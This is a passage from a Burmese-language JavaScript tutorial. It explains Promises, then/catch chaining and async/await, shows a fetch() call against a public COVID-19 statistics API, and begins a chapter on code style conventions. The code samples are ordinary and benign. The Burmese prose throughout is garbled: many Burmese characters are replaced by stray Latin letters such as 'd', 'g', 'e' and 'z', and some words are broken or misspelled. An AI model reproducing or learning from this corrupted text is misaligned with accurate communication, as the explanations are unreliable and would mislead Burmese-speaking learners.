dပးခဲ့တာကိုdတွ့ရနိုင်ပါတယ်။ JavaScript မှာ အ့ဲဒီလုိ မdစာင့်zဲ dနာက်မှလုပ်dစချင်တဲ့ အလုပ်dတွရှိတဲ့
Callback  dတွကို  အသံုးများeကပါတယ်။ အခုdနာက်ပုိင်းမှာdတာ့  Callback  အစား  Promise  လ့ုိdခါ်တဲ့
နည်းပညာကို  အစားထုိးပြပီး  သံုးလာeကပါတယ်။  ထံုးစံအတိုင်း  dgပာမယ်ဆိုရင်  အားသာချက်
အားနည်းချက်dတွ dgပာစရာရှိdပမယ့်၊ dရးနည်းကိုပဲ အဓိကထား eကည့်eကရdအာင်ပါ။

 JavaScript 
function add1000() {

let result = 0
for(let i=1; i <= 1000; i++) {

result += i
}

return result
}
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နမူနာကိုdလ့လာeကည့်ပါ။ add1000() Funtion ဟာ 1 ကdန 1000 ထိ dပါင်းdပးမယ့် Function ပါ။ ဒီ
အတိုင်းသာဆိုရင်  သူအလုပ်လုပ်လို့  မပြပီးမချင်း  တgခားအလုပ်က  ဆက်လုပ်လ့ုိရမှာ  မဟုတ်ပါzူး။  စမ်း
eကည့်လို့ရပါတယ်။ 

 JavaScript 
console.log("some processes")
console.log(add1000())
console.log("more processes")
// some processes
// 500500
// more processes

အစီအစဉ်အတိုင်းပဲ  အလုပ်လုပ်သွားတာကို  dတွ့ရမှာ  goစ်ပါတယ်။  ဒါdeကာင့်  အခုလုိ  Function  တစ်ခု
ထပ်dရးလုိက်ပါမယ်။

 JavaScript 
function add1000later() {

return new Promise( done => {
done( add1000() )

})
}

add1000later() Function  က  Promise  Object  တစ်ခုကို  gပန်dပးပါတယ်။  dနာက်ကျကျန်ခဲ့တဲ့
ကားက၊  "ငါးမိနစ်အတွင်းdရာက်မယ်၊  ကတိdပးပါတယ်ကွာ၊ မင်းတို့စနှင့်eကပါ"  လ့ုိ dgပာလုိက်သလုိပါပဲ။
ဒါdeကာင့် ကျန်အလုပ်dတွက ဒီ  Function  အလုပ်လုပ်တာကို  မdစာင့်dတာ့zဲ ကိုယ့်အလုပ်ကိုယ် ဆက်
လုပ်သွားလ့ုိ  ရပါတယ်။ ဒီ  Function  က လုပ်စရာရှိတဲ့အလုပ် ပြပီးသွားရင်သာ  done() ကို  Run  dပးပါ
တယ်။ ဒါdeကာင့် dခါ်ယူစဉ်မှာ done() ကို ထည့်dပးo့ုိdတာ့လုိပါတယ်။ ဒီလုိပါ –
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 JavaScript 
console.log("some processes")
add1000later().then( result => console.log(result) )
console.log("more processes")

then() Method ကိုသုံးပြပီး လုပ်စရာရှိတာလုပ်ပြပီးရင် zာဆက်လုပ်ရမလဲ dgပာလုိက်တာပါ။ နမူနာအရ
ရလဒ်ကို doာ်gပo့ုိdgပာထားပါတယ်။ စမ်းeကည့်လုိက်ရင် အခုလုိရမှာပါ။

// some processes
// more processes
// 500500

လုပ်စရာရှတိာdတွ သ့ူzာသာဆက်လုပ်သွားလ့ုိ  more processes  ကိုdနာက်မှ  Run  ထားdပမယ့်  အရင်
ရdနတာပါ။ ဒီနည်းနဲ့  Asynchronous dခါ် ပြပိုင်တူအလုပ်လုပ်နိုင်dသာ၊ တစ်ခုပြပီးdအာင်တစ်ခု dစာင့်စရာ
မလုိdသာ ကုဒ်dတွကို JavaScript မှာ dရးလ့ုိရပါတယ်။

done() ဆိုတာ gမင်သာdအာင်သာ dgပာလုိက်တာပါ။ တစ်ကယ်အသံုးအနှုန်းအမှန်က resolve() လ့ုိ
dခါ်ပါတယ်။  reject() လည်းရှိပါdသးတယ်။  ငါးမိနစ်အတွင်း  dရာက်မယ်dgပာပြပီး  မdရာကရ်င်  zာ
လုပ်မှာလဲ။ ဒါလည်း စဉ်းစားစရာ ရှိdသးတယ် မဟုတ်လား။ လုပ်စရာရှိတာလုပ်မယ် သွားနှင့်ပါ dgပာdပ
မယ့်  အ့ဲဒီအလုပ်  မdအာင်gမင်zူးဆိုတာ  goစ်နိုင်ပါတယ်။  ဒီလုိgoစ်လာခဲ့ရင်  reject() လုပ်လ့ုိရနိုင်ပါ
တယ်။ ဒီလုိပါ – 

 JavaScript 
function add1000later() {

return new Promise( (resolve, reject) => {
let result = add1000()
if(result) resolve(result)
else reject()

})
}
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add1000() Function  ကမှန်လ့ုိ ရလဒ်gပန်dပးနိုင်တဲ့အခါ  resolve() ကို အလုပ်လုပ်ပြပီး မှားdနလုိ့
ရလဒ်gပန်မရတဲ့အခါ  reject() ကိုအလုပ်လုပ်ထားပါတယ်။  dခါ်သံုးတဲ့အခါ  then() Method  နဲ့
resolve() ကိုdပးနိုင်ပြပီး catch() Method နဲ့ reject() ကို dပးနိုင်ပါတယ်။ ဒီလိုပါ – 

 JavaScript 
add1000later()
    .then( result => console.log(result) )
    .catch( () => console.log("Error") )

oတ်လ့ုိdကာင်းdအာင်  လုိင်းခွဲပြပီးdရးထားပါတယ်။  တစ်ဆက်ထဲdရးလည်း  ရပါတယ်။  နမူနာအရ
အကယ်၍အလုပ်လုပ်တာ မdအာင်gမင်ခဲ့ရင်  catch() နဲ့  dပးလုိက်တဲ့  reject() Function  အလုပ်
လုပ်သွားမှာgoစ်လ့ုိ  Error  ကို  gပန်ရမှာပဲ  goစ်ပါတယ်။  နားလည်သလုိလုိ၊  နားမလည်သလုိလုိ  goစ်dနမှာ
အdသအချာပါပဲ။  ခက်ခဲတဲ့  အdeကာင်းအရာတစ်ခုမုိ့လ့ုိပါ။  ကူးယူdရးစမ်းပြပီး  နည်းနည်းပါးပါး  gပင်eကည့်
လုိက်ရင်dတာ့  ပုိပြပီးdတာ့  gမင်သွားပါလိမ့်။  အ့ဲဒါမှမရdသးရင်လည်း  ခဏနေdကျာ်လုိက်ပြပီး ကျန်တဲ့  အခန်း
dတွ ဆက်dလ့လာလ့ုိရပါတယ်။ dနာက်dတာ့မှ တစ်dခါက် gပန်လာdလ့လာပါ။

Promise dတွကို အသံုးgပုတဲ့အခါ ဒီလိုလည်းသံုးလ့ုိ ရနိုင်ပါdသးတယ်။

 JavaScript 
add1000later()
    .then( result => result + 1000)
    .then( result => console.log(result) )
    .catch( () => console.log("Error") )
// 501500

ပထမ then() Method က ရလဒ်ကို return gပန်dပးထားလုိ့ အ့ဲဒီလုိ gပန်dပးတဲ့ရလဒ်ကို dနာက်ထပ်
then() Method  နဲ့oမ်းပြပီး  ဆက်အလုပ်လုပ်လုိ့  ရdနတာပါ။  လက်dတွ့မှာ  အdတာ်အသံုးဝင်တဲ့
လုပ်dဆာင်ချက်dတွပါ။ 
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async, await
ကုဒ်ရဲ့အလုပ်လုပ်ပံုကို  gမင်eကည့်နိုင်o့ုိ  အdရးကြကီးdeကာင်း ခဏနေခဏနေ dgပာခဲ့ပါတယ်။  Promise  dရးထံုးနဲ့
dရးထားတဲ့ကုဒ်ကို  ပံုdoာ်ပြပီးgမင်eကည့်နိုင်o့ုိ  သိပ်ခက်dနတယ်ထင်ရင် စိတ်မပူပါနဲ့။  ကိုယ်တစ်dယာက်ထဲ
မဟုတ်ပါzူး။  Promise  ကုဒ်က နားလည်ရခက်လွန်းတယ် ဆိုသူdတွ အများကြကီးရှိdနပါတယ်။ ဒါdeကာင့်
လည်း async & await ဆိုတဲ့ dနာက်ထပ် dရးထံုးတစ်မျ ို းကို ထပ်ပြပီးdတာ့ တီထွင်dပးထားပါdသးတယ်။

dစာdစာကdရးခဲ့တဲ့ add1000later() Function ကို အခုလုိgပန်dရးလုိက်ပါမယ်။

async function add1000later() {
let result = await add1000()
console.log(result)

}

dရှ့ ဆုံးမှာ  async Keyword  ပါသွားလ့ုိ  add1000later() Function  ဟာရိုးရိုး  Function  မဟုတ်
dတာ့ပါzူး။  dစာင့်စရာမလုိzဲ  သ့ူzာသာလုပ်စရာရှတိာ  ဆက်လုပ်မှာမ့ုိလ့ုိ  ချန်ထားခဲ့လ့ုိရတဲ့  Function
goစ်သွားပါပြပီ။ အ့ဲဒီ  Function  ထဲမှာ  add1000() Function  ကို  dခါ်သံုးတဲ့အခါ  await Keyword  နဲ့
dခါ်သုံးထားတာကို  သတိgပုပါ။  dစာင့်ရမယ့်အလုပ်က ဒီအလုပ်မုိ့လ့ုိ  await ထည့်ပြပီးလုပ်dပးရတာပါ။
ပြပီးdတာ့မှ ရလာတဲ့ ရလဒ်ကို doာ်gပdစထားပါတယ်။ အခုလုိစမ်းeကည့်နိုင်ပါတယ်။

 JavaScript 
console.log("some processes")
add1000later()
console.log("more processes")
// some processes
// more processes
// 500500

dစာdစာက Promise နဲ့dရးခဲ့တဲ့ရလဒ်နဲ့ တူညီတဲ့ရလဒ်ကို ရရိှgခင်းပဲ goစ်ပါတယ်။ တစ်ချ ို ့အတွက်dတာ့ ဒီ
async & await dရးထံုးက ပုိပြပီးdတာ့ နားလည်လွယ်dနတာမျ ို း goစ်နိုင်ပါတယ်။ ရလဒ်နဲ့ သdzာသzာဝ
က အတူတူပါပဲ။ dရးထံုးမှာ ကွာသွားတာပဲ goစ်ပါတယ်။
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Piratical Sample
ဒီအတိုင်းရှင်းလင်းချက်dတွချဉ်းပဲ  dgပာdနတာ  ပျင်းစရာdကာင်းတယ်ထင်ရင်  နည်းနည်းစိတ်ဝင်စားo့ုိ
dကာင်းသွားdအာင် လက်dတွ့ကုဒ်dလးတစ်ချ ို ့ dရးပြပီးdတာ့လည်း စမ်းeကည့်နိုင်ပါတယ်။ ပထမဆုံး URL
လိပ်စာdလး တစ်ခုအရင်မှတ်ထားပါ။

https://api.covid19api.com/summary

ဒီ  URL  လိပ်စာအတိုင်း  Browser  မှာ  ရိုက်ထည့်eကည့်လ့ုိရပါတယ်။ ဒါဆိုရင်  Covid-19  dရာZါgoစ်ပွားမှု
အdgခအdနနဲ့ပက်သက်တဲ့  Data  dတွကို  အခုလုိ  JSON  oဲွ့စည်းပံုမျ ို းနဲ့  dတွ့ gမင်ရမှာပါ။  အင်တာနက်
အဆက်အသွယ် ရှိo့ုိလိုတယ်ဆိုတာကိုdတာ့ သတိgပုပါ။

{
  "Global": {
    "NewConfirmed": 100282,
    "TotalConfirmed": 1162857,
    "NewDeaths": 5658,
    "TotalDeaths": 63263,
    "NewRecovered": 15405,
    "TotalRecovered": 230845
  },
  "Countries": [
    {
      "Country": "Afghanistan",
      "CountryCode": "AF",
      "Slug": "afghanistan",
      "NewConfirmed": 18,
      "TotalConfirmed": 299,
      "NewDeaths": 1,
      "TotalDeaths": 7,
      "TotalRecovered": 10,
      "Date": "2020-04-05T06:37:00Z"
    },
    {
      "Country": "Albania",
      "CountryCode": "AL",
      "Slug": "albania",
      "NewConfirmed": 29,
      "TotalConfirmed": 333,
      "NewDeaths": 3,
      "TotalDeaths": 20,
      "TotalRecovered": 99,
      "Date": "2020-04-05T06:37:00Z"
    },
    ...
  ]
}

https://api.covid19api.com/summary
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တစ်ကမ္ဘာလံုးနဲ့  သက်ဆိုင်တဲ့  အချက်အလက်dတွက  Global Property  မှာရှိdနပြပီး  နိုင်ငံတစ်ခုချင်းစီ
အလုိက် အချက်အလက်dတွကdတာ့ Countries Property မှာ Array တစ်ခုအdနနဲ့ ရှိdနတာကို dတွ့
ရနိုင်ပါတယ်။

JavaScript  မှာ  ဒီလို  Data  dတွကို  ဆက်သွယ်ရယူdပးနိုင်တဲ့  fetch() လ့ုိdခါ်တဲ့  Standard
လုပ်dဆာင်ချက်တစ်ခုရှိပါတယ်။ fetch() ဟာ Promise ကို အသံုးgပု အလုပ်လုပ်တဲ့ နည်းပညာတစ်ခု
ပါ။  API  zက်ပုိင်းdလ့လာတဲ့အခါ အdသးစိတ်dလ့လာရပါလိမ့်မယ်။ အခုdတာ့ အdသးစိတ် မဟုတ်dသး
dပမယ့်  ဒီ  fetch() ကိုအသံုးgပုပြပီး  အချက်အလက်ရယူပုံကို  eကည့်eကပါမယ်။  ဒီကုဒ်ကို  dလ့လာ
eကည့်ပါ။

 JavaScript 
fetch("https://api.covid19api.com/summary")
  .then(res => res.json())
  .then(data => {
    const global = data.Global
    const allCountries = data.Countries
    const myanmar = allCountries.find(c => c.Country === "Myanmar")
    console.log("Global:", global, "Myanmar:", myanmar)
  })

dရးထားတဲ့ကုဒ်ကို dလ့လာeကည့်ပါ။  fetch() Function က URL လိပ်စာအတိုင်း အချက်အလက်dတွ
သွားယူdပးပါတယ်။ ဒီလုိယူတဲ့အလုပ်ကို Promise အdနနဲ့ လုပ်သွားတာပါ။ ဒါdeကာင့် တgခားအလုပ်dတွ
ရိှရင် သွားယူတဲ့အလုပ် ပြပီးdအာင် dစာင့်စရာမလုိပါzူး။ ကြကိုတင်ပြပီး ဆက်လုပ်သွားလ့ုိ ရနိုင်ပါတယ်။

ရယူလ့ုိပြပီးတဲ့အခါ အချက်အလက်dတွက then() Method ရဲ့ res Parameter ထဲမှာ HTTP Response
Object  တစ်ခုအdနနဲ့  ရိှdနမှာပါ။  HTTP Response Object  မှာ ရလဒ်  JSON  ကို  JavaScript Object
dgပာင်းတဲ့  လုပ်dဆာင်ချက်  တစ်ခါထဲပါဝင်ပါတယ်။  ဒါdeကာင့်  အ့ဲဒီလုပ်dဆာင်ချက်  အကူအညီနဲ့
res.json() ဆိုပြပီး ရလာတဲ့ JSON အချက်အလက်ကို JavaScript Object dgပာင်းလုိက်ပါတယ်။

https://api.covid19api.com/summary
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JavaScript Object ဟာ dနာက်တစ်ဆင့် ဆက်လုိက်တဲ့ then() Method ရဲ့ data Parameter ထဲကို
dရာက်သွားပါလိမ့်မယ်။ ဒါdeကာင့် အ့ဲဒီ data ထဲကdန တစ်ကမ္ဘာလံုးဆိုင်ရာ အချက်အလက်dတွအတွက်
Global Property ကိုရယူပြပီး၊ နိုင်ငံအားလံုးရဲ့ အချက်အလက်အတွက် Countries Property ထဲကdန ရယူ
ထားပါတယ်။  ပြပီးdတာ့မှ  gမန်မာနိုင်ငံရဲ့အချက်အလက်ကို  လုိချင်တဲ့အတွက်  countries Array  မှာ
find() နဲ့ Myanmar ကို ရှာယူထားပါတယ်။ Array Method တစ်ခုgoစ်တဲ့ find() ဟာ filter()
နဲ့ဆင်တူပါတယ်။  filter() က  မူလ  Array  ကdန  လုိချင်တဲ့  Item  dတွကို  Array  တစ်ခုအdနနဲ့
ထုတ်ယူdပးပြပီး find() ကdတာ့ မူလ Array ကdန လုိချင်တဲ့ Item တစ်ခုကို ထုတ်ယူdပးပါတယ်။

ရရှိလာတဲ့  တစ်ကမ္ဘာလံုးအချက်အလက်နဲ့  gမန်မာနိုင်ငံရဲ့  အချက်အလက်ကို  doာ်gပdစတဲ့အတွက်  စမ်း
eကည့်လိုက်ရင် အခုလုိရလဒ်ကို ရမှာgoစ်ပါတယ်။

Global:
{
    "NewConfirmed": 100282,
    "TotalConfirmed": 1162857,
    "NewDeaths": 5658,
    "TotalDeaths": 63263,
    "NewRecovered": 15405,
    "TotalRecovered": 230845
}

Myanmar:
{
    "Country": "Myanmar",
    "CountryCode": "MM",
    "Slug": "myanmar",
    "NewConfirmed": 1,
    "TotalConfirmed": 21,
    "NewDeaths": 0,
    "TotalDeaths": 1,
    "NewRecovered": 0,
    "TotalRecovered": 0,
    "Date": "2020-04-05T06:37:00Z"
}

တစ်လက်စထဲ ရလဒ်ကို  doာ်gပdစoို့အတွက် တန်oုိးနှစ်ခုသံုးခုရှိရင်  console.log() နှစ်deကာင်းသံုး
deကာင်း မdရးdတာz့ဲ၊ တစ်deကာင်းထဲမှာ doာ်gပdစလုိတဲ့ တန်oုိးdတွကို Comma ခံပြပီး တန်းစီdပးလို့ ရ
တယ်ဆိုတာကိုလည်း သတိgပုပါ။ dနာက်ထပ်သတိgပုစရာတစ်ခုအdနနဲ့ တန်oုိးdတွ dgပာင်းo့ုိမရှရိင် ရိုးရိုး
Variable   dတွအစား   Constant   dတွကို အသံုးgပုသင့်ပါတယ်  ။ ဒါdeကာင့် နမူနာမှာ Constant dတွကိုချည်း
ပဲ သံုးထားတာပါ။
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ဒီကုဒ်ကို အင်တာနက်အဆက်အသွယ်ရှိရင်  Browser Console  မှာ လက်dတွ့ dရးစမ်းလ့ုိရပါတယ်။ စမ်း
eကည့်လိုက်ပါ။ ဒီကုဒ်ကို async, await နဲ့လည်း dgပာင်းdရးလ့ုိ ရနိုင်ပါတယ်။ ဒီလုိပါ – 

 JavaScript 
async function covidInfo() {
    const response = await fetch("https://api.covid19api.com/summary")
    const data = await response.json()
    const global = data.Global
    const allCountries = data.Countries
    const myanmar = allCountries.find(c => c.Country === "Myanmar")
    console.log("Global:", global, "Myanmar:", myanmar)
}

covidInfo()

async, await နဲ့မ့ုိလို့ ကုဒ် Block dတွ အဆင့်ဆင့်မရှိdတာ့zဲ တစ်deကာင်းချင်း တစ်ဆင့်ချင်း eကည့်လ့ုိရ
သွားပါတယ်။ covidInfo() Function ဟာ ရိုးရိုး Function မဟုတ်zဲ Async Function တစ်ခုgoစ်လို့
သ့ူကို  သူများdတွက  dစာင့်စရာမလုိzဲ  လုိအပ်ရင်  ကိုယ့်အလုပ်ကိုယ်  ဆက်လုပ်သွားလ့ုိ  ရနိုင်ပါတယ်။
Function ထဲမှာ fetch() နဲ့ Data ကို ယူတဲ့အခါ အချနိ်ယူပြပီး လုပ်ရမယ့်အလုပ်မ့ုိလ့ုိ await နဲ့ ယူထား
ပါတယ်။ ရလာတဲ့  Data ကို  JavaScript Object dgပာင်းတဲ့အလုပ်ဟာလည်း အချနိ်ယူပြပီး လုပ်o့ုိလုိနိုင်လ့ုိ
await နဲ့ပဲ လုပ်ခိုင်းထားပါတယ်။ အားလံုးပြပီးစီးdတာ့မှ dစာdစာကလုိပဲ Global Data ထုတ်ယူတာdတွ
gမန်မာနိုင်ငံအတွက် Data ထုတ်ယူတာdတွကို ဆက်လုပ်ထားတာပါ။ ဒါdeကာင့် ဒီကုဒ်ကို စမ်းeကည့်လုိက်
ရင်လည်း dစာdစာကုဒ်နဲ့ တူညီတဲ့ရလဒ်ကိုပဲ ရမှာgoစ်ပါတယ်။

တစ်ကယ်dတာ့ dလ့လာစမှာ ဒီလုိအလုပ်ရှုပ်တဲ့ကိစ္စdတွ ထည့်မdgပာချင်dသးပါzူး။ တစ်goည်းgoည်းချင်း
တစ်ဆင့်ချင်း သွားတာပဲ dကာင်းပါတယ်။ အဆင့်dကျာ်သလုိ goစ်သွားရင် မdကာင်းပါzူး။ ဒါdပမယ့် တစ်
ချနိ်လံုး  နားလည်ရလွယ်တဲ့  အdသးအoဲွ့  နမူနာdလးdတွချည်း  eကည့်လာdတာ့  ပျင်းစရာgoစ်dနမှာစိုးလို့
အခုလုိ  လက်dတွ့ကျတဲ့  နမူနာတစ်ခုကို  ထည့်dပးလုိက်တာပါ။  သိပ်နားမလည်zူးဆိုရင်  စိတ်မပူပါနဲ့။
အဆင့်နည်းနည်းdကျာ်ပြပီး  dgပာလုိက်မိလို့ပါ။  ဆက်dလ့လာသွားပါ။  dရှ့ ပုိင်းက  dလ့လာခဲ့တာdတွ
deကညက်dအာင် ထပ်ခါထပ်ခါgပန်eကည့် gပန်စမ်းထားပါ။ အချနိ်တနရ်င် ရသွားပါလိမ့်မယ်။
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အခန်း (၂၀) – Code Style Guide

ကုဒ်dတွdရးတဲ့အခါ  အoွင့်အပိတ်၊  အထားအသုိdတွဟာ  zယ်လုိပဲထားထား  dရးထုံးအရ  မှန်dနသ၍
အလုပ်လုပ်dနမှာပါပဲ။ ဒါdပမယ့် အလုပ်လုပ်dနယံုနဲ့  မရပါzူး။  dရးသားပံု ရှင်းလင်းသပ်ရပ်မှသာ oတ်ရှု
နားလည်ရ  လွယ်ကူတဲ့ကုဒ်  goစ်မှာပါ။  ဒီအတွက်  Code  Style  Guide  dတွ  ရှိeကပါတယ်။  Coding
Standard လ့ုိလည်း dခါ်eကပါတယ်။ Language တစ်ခုနဲ့တစ်ခု မတူeကသလုိ၊ အoဲွ့အစည်းတစ်ခုနဲ့တစ်ခု
ရဲ့  Recommendation dတွလည်း မတူeကပါzူး။ JavaScript အတွက်ဆိုရင် Google ရဲ့  Style Guide ရိှ
သလ့ုိ၊  Mozilla, Wordpress, Drupal, AirBnb စသgoင့် ထိပ်တန်းအoဲွ့အစည်း အသီးသီးမှာ သ့ူသတ်မှတ်
ချက်နဲ့သူရှိပါတယ်။ ပြပီးdတာ့ ပရိုZရမ်မာ တစ်ဦးချင်းစီလည်း အကြကိုက်dတွ ကွဲeကပါdသးတယ်။ ဒါdeကာင့်
ဒီအdeကာင်းအရာဟာလည်း သ့ူdနရာနဲ့သူ ကျယ်gပန့်တဲ့ အdeကာင်းအရာတစ်ခုပါ။

တစ်ကယ်dတာ့  ပရိုZရမ်တစ်ဦးအdနနဲ့  JavaScript  တစ်မျ ို းထဲ  dရးယံုနဲ့  မပြပီးdသးပါzူး။  လက်dတွ့
လုပ်ငန်းခွင့်မှာ တgခားကုဒ်အမျ ို းအစားdတွကိုလည်း ပူးတွဲပြပီး dရးeကရဦးမှာပါ။ HTML, CSS, JavaScript,
jQuery, React, PHP, Laravel  စသgoင့်  Language, Library, Framework အမျ ို းမျ ို းနဲ့  အလုပ်လုပ်eကရ
မှာပါ။ ဒါdeကာင့်  JavaScript  အတွက် မဟုတz်ဲ ကုဒ်အမျ ို းအစား အမျ ို းမျ ို းနဲ့ သင့်dတာ်မယ့် dယzုယျ
dရးဟန်dလးdတွကို စုစည်း doာ်gပချင်ပါတယ်။
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Variables
Variable,  Function,  Class  စသgoင့်  အမည်dတွdပးo့ုိလုိတဲ့အပါ  dပးပံုdပးနည်း  (၄)  နည်းရှိပါတယ်။
အdခါ်အdဝါ်dလးdတွ မှတ်ထားပါ။

• All Cap: HELLO_WORLD
• Snake Case: hello_world
• Camel Case: helloWorld
• Capital Case: HelloWorld

All  Cap  dရးဟန်မှာ  စာလံုးအကြကီးdတွချည်းပဲ  သံုးပါတယ်။  Word  တစ်ခုနဲ့တစ်ခု  ပုိင်းgခားo့ုိအတွက်
Underscore  ကို  အသံုးgပုပါတယ်။  Snake Case  dရးဟန်မှာ စာလံုးအdသးdတွချည်းပဲ သံုးပါတယ်။ သူ
လည်းပဲ  Word  တစ်ခုနဲ့တစ်ခု  ပုိင်းgခားo့ုိအတွက်  Underscore  ကို  အသံုးgပုပါတယ်။  Camel  Case
ကdတာ့ စာလံုးအကြကီးအdသး dရာdရးတဲ့ dရးဟန်ပါ။ စာလံုးdသးနဲ့စပြပီး dနာက်က ဆက်လုိက်တဲ့  Word
dတွအားလံုးရဲ့ dရှ့ ဆုံးတစ်လံုးကို စာလံုးကြကီးနဲ့ dရးပါတယ်။ Capital Case ကdတာ့ Camel Case နဲ့ဆင်
တူပါတယ်။ ထူးgခားချက်အdနနဲ့ dရှ့ဆုံးစာလံုးပါ ကြကီးသွားတာပါ။

Constant   dတွdeကညာo့ုိအတွက်   All Cap   ကို အသံုးgပုသင့်ပါတယ်။ ရိုးရိုး   Variable   dတွအတွက်   Snake  
Case   ကိုသံုးသင့်ပြပီး၊   Object Property   dတွအတွက်   camelCase   ကိုသုံးသင့်ပါတယ်  ။

 Pseudocode 
const PI = 3.14
const MIN = 0
const MAX = 100
let color_name = "red"
let color_code = "#112233"

Assignment Operator အပါဝင် Operator   အားလံုးရဲ့ dရှ့နဲ့dနာက်မှာ   Space   တစ်ခုစီ gခားပြပီးdတာ့ dရး  
သင့်ပါတယ်။ x, y, a, b, n, i စသည်goင့် အတိုdကာက်အမည်dတွဟာ နမူနာမုိ့လ့ုိသာ dပးခဲ့တာ
ပါ။  တစ်ကယ့်လက်dတွ့မှာ  ရှည်ချင်ရှည်ပါdစ၊  အဓိပ္ပါယ်dပါ်လွင်တဲ့    Variable    အမည်ကိုသာ  dပးသင့်ပါ  
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တယ်။ ကုဒ်dတွများလာdတာ့မှ  a ဆိုတာ zာကိုdgပာမှန်း ကိုယ့်zာသာမသိdတာ့တာ၊  i ဆိုတာ zယ်
နားက i ကိုdgပာတာလည်း ရှာရခက်ကုန်တာမျ ို းdတွ goစ်တတ်ပါတယ်။

Arrays & Objects
Array dတွdeကညာသတ်မှတ်တဲ့အခါ တန်oုိးနည်းရင် တစ်deကာင်းထဲ၊ တစ်ဆက်ထဲ dရးလ့ုိရပါတယ်။ အ့ဲ
ဒီလုိdရးတဲ့အခါ Comma ရဲ့dနာက်မှာ Space တစ်ခုထည့်သင့်ပါတယ်။

 Pseudocode 
let users = ["Alice", "Bob", "Tom", "Mary"]

တန်oုိးdတွများရင်dတာ့ လုိင်းခွဲပြပီးdရးသင့်ပါတယ်။ အ့ဲဒီလုိခွဲdရးတဲ့အခါ အoွင့်ကို Assignment Operator
နဲ့  တစ်လုိင်းထဲမှာထားပြပီး  အပိတ်ကို  dအာက်ဆုံးမှာ  သီးgခားတစ်လုိင်းနဲ့  ထားသင့်ပါတယ်။  အထဲက
တန်oုိးdတွကို သက်ဆိုင်ရာ Array အတွင်းက တန်oုိးမှန်း gမင်သာdအာင် Indent dလး တွန်းပြပီးတစ်ညီထဲ
dရးသင့်ပါတယ်။ တစ်deကာင်းမှာ Item တစ်ခုသာ ပါဝင်သင့်ပါတယ်။

 Pseudocode 
let users = [
    "Alice",
    "Bob",
    "Tom",
    "Mary",
]

dနာက်ဆုံးက Comma အပုိ  Trailing Comma ကို ထည့်လ့ုိရရင် ထည့်သင့်ပါတယ်။ တစ်ချ ို ့  Language
dတွက ထည့်ခွင့်မgပုလ့ုိ နည်းနည်းdတာ့ သတိထားပါ။ Indent အတွက် အရွယ်အစားအdနနဲ့ တစ်ချ ို ့က 2
Spaces သံုးeကပါတယ်။ တစ်ချ ို ့က 4 Spaces အသုံးeကပါတယ်။ 2 Spaces က dနရာယူသက်သာလ့ုိ လူ
ကြကိုက်များdပမယ့် စာdရးသူကdတာ့ 4 Spaces ကိုသာ သံုးdလ့ရှိပါတယ်။ ပုိကျဲလ့ုိ oတ်ရတာ မျက်စိထဲမှာ
ပုိရှင်းတဲ့အတွက်deကာင့်ပါ။ 2 Spaces သံုးသည်goစ်dစ၊ 4 Spaces သံုးသည်goစ်dစ၊ ကီးzုတ်ကdန Space
Bar ကို တစ်ချက်ချင်း နှိပ်ပြပီးdတာ့ မdရးသင့်ပါzူး။ Tab Key ကိုပဲသံုးသင့်ပါတယ်။ Code Editor dတွက
Tab Key ကိုနှိပ်လုိက်ရင် သတ်မှတ်ထားတဲ့ Space အdရအတွက်အတိုင်း အလုိအdလျှာက် ထည့်dပးသွား
eကပါတယ်။ Space ကို လံုးဝ မသံုးzဲ Indent အတွက် Tab ကိုပဲ သံုးလ့ုိလည်းရပါတယ်။
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Object dတွကိdုတာ့ တစ်ချ ို ့အရမ်းတိုတဲ့ Object dတွကလဲွရင် အများအားgoင့် လုိင်းခွဲပြပီးdတာ့ dရးသင့်ပါ
တယ်။ Property   dတွ   Method   dတွအတွက်   Camel Case   ကို သံုးသင့်ပါတယ်  ။

 Pseudocode 
let user = {
    firstName: "James",
    sayHello () {
        // Statements
    },
}

Functions
Function dတွdeကညာတဲ့အခါ တွန့်ကွင်းအoွင့်ကို function Keyword နဲ့ တစ်လုိင်းထဲထားလ့ုိ ရသလုိ
dနာက်တစ်လုိင်းဆင်းပြပီး ထားလ့ုိလည်း ရပါတယ်။ JavaScript ကုဒ်dတွမှာdတာ့ တစ်လုိင်းထဲပဲ ထားeက
dလ့ရှိပါတယ်။ တgခား Language dတွမှာdတာ့ ရိုးရိုး Function dတွအတွက် တစ်လုိင်းထဲ ထားပြပီး Class
Method dတွအတွက် dနာက်တစ်လုိင်း ခွဲထားeကdလ့ ရှိပါတယ်။

 Pseudocode 
function add(a, b) {
    // Statements
}
function sum(a, b)
{
    // Statements
}

တစ်လုိင်းထဲထားတဲ့အခါ  ဝုိက်ကွင်းအပိတ်နဲ့  တွန့်ကွင်းအoွင့်eကား  Space  တစ်ခု  ထည့်dပးသင့်ပါတယ်။
ဝုိက်ကွင်းအoွင့်အပိတ်ထဲက  Parameter List  မှာလည်း  Comma  dနာက်မှာ  Space  တစ်ခု  gခားdပးရပါ
မယ်။

Function  အမည်dတွဟာ  Camel Case  goစ်သင့်ပါတယ်။ တစ်ချ ို ့  Language  dတွမှာ  Snake Case  ကို
Function  အမည်အတွက်  သံုးeကdပမယ့်  JavaScript  မှာdတာ့  Camel  Case  ကို  ပုိအသံုးများပါတယ်။
ရိုးရိုး  Constant  တန်oုိးdတွအတွက်  စာလံုးအကြကီးdတွနဲ့  dပးသင့်တယ်လ့ုိ  ဆိုခဲ့dပမယ့်  Function
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Expression dတွကို  Constant နဲ့dရးတဲ့အခါမှာdတာ့  Camel Case ကိုပဲ သံုးသင့်ပါတယ်။ Constant လုိ
deကညာdနdပမယ့် သ့ူကို Function လုိ သံုးမှာမ့ုိလ့ုိပါ။

 Pseudocode 
const add = function (a, b) {
    // Statements
}

Function Expression dတွdရးတဲ့အခါ function Keyword dနာက်မှာ Space တစ်ခု ပါသင့်ပါတယ်။
Arrow Function dတွdရးတဲ့အခါ Arrow သdက[တရဲ့ dရှ့dနာက်မှာ Space တစ်ခုစီ ပါသင့်ပါတယ်။

 Pseudocode 
const add = (a, b) => a + b

dပါင်းနှုတ်dgမှာက်စား၊  Comparison  စသည်goင့်  Operator  အားလံုးရဲ့  dရှ့ dနာက်မှာ  Space  တစ်ခုစီ
ပါဝင်သင့်တယ်ဆိုတာကို dနာက်တစ်ကြကိမ် ထပ်dgပာချင်ပါတယ်။ Operator dတွနဲ့ တန်oုိးdတွကို ကပ်dရး
ရင် dရာdထွး ပူးကပ်ပြပီး oတ်ရခက်တတ်ပါတယ်။

Code Blocks
If  Statement  dတွdရးတဲ့အခါ  တွန့်ကွင်း  အoွင့်ကို  if နဲ့တစ်လုိင်းထဲ  ထားသင့်ပါတယ်။  else
